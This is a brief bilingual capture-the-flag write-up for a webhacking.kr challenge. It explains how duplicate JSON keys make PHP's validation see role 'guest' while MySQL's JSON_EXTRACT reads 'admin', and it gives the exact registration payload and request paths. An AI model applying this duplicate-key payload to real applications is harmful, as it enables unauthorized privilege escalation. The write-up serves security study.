Webhacking.kr Better than 𝒳ℳℒ
Challenge
Exploit duplicate JSON keys to make validation and storage observe different roles.
利用重复 JSON key,让校验与存储看到不同的 role。
1 | https://webhacking.kr/challenge/new-17/ |
Analysis
注册接口读取原始 JSON 后执行
json_decode($raw_json, true),验证最终解析出的
role 必须为 guest;但原始 JSON
会被存入数据库。重复 key 时,PHP 的 associative decode 使用后一个值,而
MySQL JSON 文档保留重复 key,后续
JSON_EXTRACT(data,'$.role') 取到前一个
admin。
Solution
注册请求体:
1 | {"userid":"hermesx","userpw":"hermesy","role":"admin","role":"guest"} |
请求:
1 | POST /challenge/new-17/?page=join_ |
随后使用相同 userid/userpw 登录:
1 | POST /challenge/new-17/?page=login_ |